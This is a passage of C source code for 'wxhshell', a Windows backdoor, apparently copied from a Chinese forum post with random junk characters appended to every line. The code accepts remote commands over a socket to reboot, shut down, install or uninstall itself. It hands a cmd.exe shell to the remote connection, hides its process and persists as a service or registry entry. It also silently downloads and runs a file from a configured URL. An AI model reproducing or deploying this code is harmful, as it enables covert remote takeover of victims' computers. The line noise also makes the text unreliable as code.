  ZKPkx~,U[  
  // 帮助 S)|b%mVwR  
  case '?': { =T4 w:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s;WCz  
    break; ucPMT0k  
  } &it/@8yH  
  // 安装 (+ anTA=  
  case 'i': { :Rj,'uH+h)  
    if(Install()) {leG~[d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aBi:S3 qk  
    else J}\]<aC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4F6o  
    break; /-4B)mL  
    } %\&dFwb  
  // 卸载 S5a<L_  
  case 'r': { qDd/wR,44  
    if(Uninstall()) /mu4J|[[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E2kRt'~N  
    else G@!9)v]9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1^^D :tt  
    break; |raQ]b@t&  
    } beZ| i 1:  
  // 显示 wxhshell 所在路径 n`Iy7X  
  case 'p': { 3*2pacHpE  
    char svExeFile[MAX_PATH]; (r\h dLX  
    strcpy(svExeFile,"\n\r"); MXV4bgltT  
      strcat(svExeFile,ExeFile);  yE,o~O  
        send(wsh,svExeFile,strlen(svExeFile),0); r/L]uSN  
    break; &:K?-ac  
    } V <pjR@  
  // 重启 ?} tQaj  
  case 'b': { {K8T5zrV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -V/i%_+Ze  
    if(Boot(REBOOT)) )1 j2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M6#(F7hB  
    else { [`\Qte%UH  
    closesocket(wsh); 'FFc"lqj  
    ExitThread(0); :K:gyVrC  
    } .Kwl8xRg  
    break; (C@@e'e  
    } htym4\Z=  
  // 关机 rapca'&#  
  case 'd': { Uk\U*\.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cSk}53  
    if(Boot(SHUTDOWN)) ", )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {?hjx+v[  
    else { 0%+k>(@ R  
    closesocket(wsh); r'\TS U5!  
    ExitThread(0); ".D +# 2Kl  
    } j~q`xv+R  
    break; Mwc3@  
    } {2@96o2}  
  // 获取shell jMbK7 1K%  
  case 's': { g>zL{[e!  
    CmdShell(wsh); >K%x44|  
    closesocket(wsh); =T$- #bA)  
    ExitThread(0); ]#n4A|&H  
    break; NLY5L7  
  } K_n%`5  
  // 退出 &_j4q  
  case 'x': { 3k^jR1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m5{SPa,y  
    CloseIt(wsh); !F)oX7"  
    break; ;D:T ^4  
    } qDAjW)w Jp  
  // 离开 qr6jn14.c  
  case 'q': { */E{s?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fif<[Ax  
    closesocket(wsh); _y UFe&  
    WSACleanup(); [=+/  
    exit(1); ^&HYnwk  
    break; (Lnh> '2  
        } ] ),' =@  
  } .vMi <U;  
  } {8RGW0 Y  
%A3Jd4DH  
  // 提示信息 9#!tzDOtD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nT"z(\i.!J  
} {+Yo&F}n  
  } Dy!fwYPA/{  
,RQ-w2j?  
  return; >B7OTGw  
} PK" C+o;:  
'zK*?= ^jk  
// shell模块句柄 i;Y^}2   
int CmdShell(SOCKET sock) n TG|Isa  
{ =C|^C  
STARTUPINFO si; J~.kb k  
ZeroMemory(&si,sizeof(si)); qa6~N3*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f6 nltZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6! 'Xo:p  
PROCESS_INFORMATION ProcessInfo; fZ$2bI=  
char cmdline[]="cmd";  E"=$p $k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +F|[9o z  
  return 0; 9OUhV [D  
} S}X:LHr*  
4NV1v&"  
// 自身启动模式 S# #W_OlrI  
int StartFromService(void) fF%r$`2  
{ jQ*Qh  
typedef struct o@. !Z8  
{ s8Oz^5p(  
  DWORD ExitStatus; #SueT"F  
  DWORD PebBaseAddress; WM26-nR  
  DWORD AffinityMask; A_%w (7o"  
  DWORD BasePriority; k1J}9HNYR  
  ULONG UniqueProcessId; / yCV-L2J  
  ULONG InheritedFromUniqueProcessId; 1zRO== b  
}   PROCESS_BASIC_INFORMATION; M &J*I  
]mSVjF3l  
PROCNTQSIP NtQueryInformationProcess; ?L^ Gu ]y  
{Hu0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  >pKI'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sf9+TW  
#x21e }Li  
  HANDLE             hProcess; K-ebAaiC  
  PROCESS_BASIC_INFORMATION pbi; STe;Sr&p  
AI2CfH#:C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V 6F,X`7  
  if(NULL == hInst ) return 0; TL>e[ PBO  
_qV_(TpS+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V QI7lJV"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =#fqFL,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kel48B  
U*cj'`eqC  
  if (!NtQueryInformationProcess) return 0; _wBPn6gg`  
,P^"X5$   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &D:88   
  if(!hProcess) return 0; /NZ R|  
A@UnrbX:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bPNsy@"6  
a'BBp6  
  CloseHandle(hProcess); 1Q<a+ l  
Yh=Zn[ U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ''G @n*  
if(hProcess==NULL) return 0; ^s5)FdF8  
2;/hFwm  
HMODULE hMod; 4y 'REC  
char procName[255]; ":OXs9Yg  
unsigned long cbNeeded; SPBXI[[-  
=B 9U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xQQ6D  
0 !Yi.'+  
  CloseHandle(hProcess); Xma0k3;-  
;I>`!|mT  
if(strstr(procName,"services")) return 1; // 以服务启动 +xMDm_TGLA  
RaAq>B WPr  
  return 0; // 注册表启动 pS0T>r  
} b> | oU  
-Db(  
// 主模块 g(1'i1  
int StartWxhshell(LPSTR lpCmdLine) "LYob}_z  
{ zC7;Zj*k  
  SOCKET wsl; Z\x6  
BOOL val=TRUE; HO"(eDW6z  
  int port=0; %uKD cj  
  struct sockaddr_in door; =$MV3]  
/9sUp} *  
  if(wscfg.ws_autoins) Install(); m35G;  
ZP1EO Z  
port=atoi(lpCmdLine); ws=y*7$y  
Mvux=Ws  
if(port<=0) port=wscfg.ws_port; H_9~gi  
tZJKB1#WbP  
  WSADATA data; sB $!X@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !*p lK6a  
:H~r _>E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !)GPI?{^5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DGcd|>q  
  door.sin_family = AF_INET; V5=Injs *  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <R2bz1!h.  
  door.sin_port = htons(port); dpy,;nqzeN  
k,2% %m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8_>R'u[  
closesocket(wsl); 5QlJX  
return 1; grZN.zTO  
} yt?# T #  
X]N8'Yt  
  if(listen(wsl,2) == INVALID_SOCKET) { h<?Vzl  
closesocket(wsl); kHJjdgV  
return 1; GE>&fG  
} ;I9D>shkc  
  Wxhshell(wsl); H=0Y4 T@)T  
  WSACleanup(); [.2>=3T  
O?P6rXKr  
return 0; FK->|  
cng 1k  
}  ST{<G  
\eN}V  
// 以NT服务方式启动 IlH*s/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .69{GM?  
{ &`@K/Nf$9  
DWORD   status = 0; U@H SU%H  
  DWORD   specificError = 0xfffffff; W)KV"A3C  
8$1<N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]1X];x&e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V4|pZ]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oC[$PPqX#  
  serviceStatus.dwWin32ExitCode     = 0; +?%huJYK,  
  serviceStatus.dwServiceSpecificExitCode = 0; W )\~T:Kn  
  serviceStatus.dwCheckPoint       = 0; (|W@p\Q  
  serviceStatus.dwWaitHint       = 0; GZse8ng  
K1Uur>Pk%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1g *4e  
  if (hServiceStatusHandle==0) return; J 9z\ qTI  
bEM-^SR  
status = GetLastError(); h 9No'!'!  
  if (status!=NO_ERROR) O`*}N1No[  
{ *edB3!!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ondF  
    serviceStatus.dwCheckPoint       = 0; |@Bl?Bs+  
    serviceStatus.dwWaitHint       = 0; (%tKGeb  
    serviceStatus.dwWin32ExitCode     = status; vFQ'sd]C  
    serviceStatus.dwServiceSpecificExitCode = specificError;  1D6iJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\50,N9Wp{  
    return; YI|7a#*F  
  } E#J+.&2  
-|g~--@Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0C7x1:  
  serviceStatus.dwCheckPoint       = 0; G"wy?  
  serviceStatus.dwWaitHint       = 0; g^=p)h3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p9 %7h.  
} ='a$>JVJ5  
XSXS;Fh)  
// 处理NT服务事件,比如:启动、停止 ENygD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 66v6do7  
{ /mmC qP  
switch(fdwControl) |[8&5[);  
{ "Q ^Ck7  
case SERVICE_CONTROL_STOP: '(;`t1V8k  
  serviceStatus.dwWin32ExitCode = 0; rlgp1>89  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -Zkl\A$>  
  serviceStatus.dwCheckPoint   = 0; G >bQlZG  
  serviceStatus.dwWaitHint     = 0; LXr nAt  
  { JW (.,Ztm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >osY?9  
  } +[ !K  
  return; LyH{{+V  
case SERVICE_CONTROL_PAUSE: \It8+^d@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F8f@^LVM/  
  break; @a+1Ri`)  
case SERVICE_CONTROL_CONTINUE: +g%kr~w=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pr9$( 6MX  
  break; Iell`;  
case SERVICE_CONTROL_INTERROGATE: PE0A`  
  break; (]1n!  
};  LGV"WE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VD,g  
} n)gzHch  
) m[0,  
// 标准应用程序主函数 $)mK]57  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -m3 O\X  
{ o/ ozX4C  
,!Gw40t  
// 获取操作系统版本 abp]qvCV  
OsIsNt=GetOsVer(); `;L>[\Xi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JdF;*`_7*  
ycTX\.KV  
  // 从命令行安装 > X<pzD3u  
  if(strpbrk(lpCmdLine,"iI")) Install(); rLtB^?A z  
wknX\,`Q  
  // 下载执行文件 S{&,I2aO  
if(wscfg.ws_downexe) { `{#0C-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $C#G8Ck,  
  WinExec(wscfg.ws_filenam,SW_HIDE); vvwNJyU-  
} )%I2#Q"Nt-  
[LbUlNq^B@  
if(!OsIsNt) {  \9N1:  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z_Qs^e$  
HideProc(); FWNWOU  
StartWxhshell(lpCmdLine); A\X?Aq-^'  
} :Xq qhG  
else OrNi<TY>  
  if(StartFromService()) ~bC{ R&p  
  // 以服务方式启动 Yi1lvB?m  
  StartServiceCtrlDispatcher(DispatchTable); ]3nka$wA*  
else jvv3;lWDL.  
  // 普通方式启动 `7[z%cuK  
  StartWxhshell(lpCmdLine); yY+)IU.  
`83s97Sa  
return 0; xM"k qRZ  
}
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只看该作者 1 发表于: 2006-10-10
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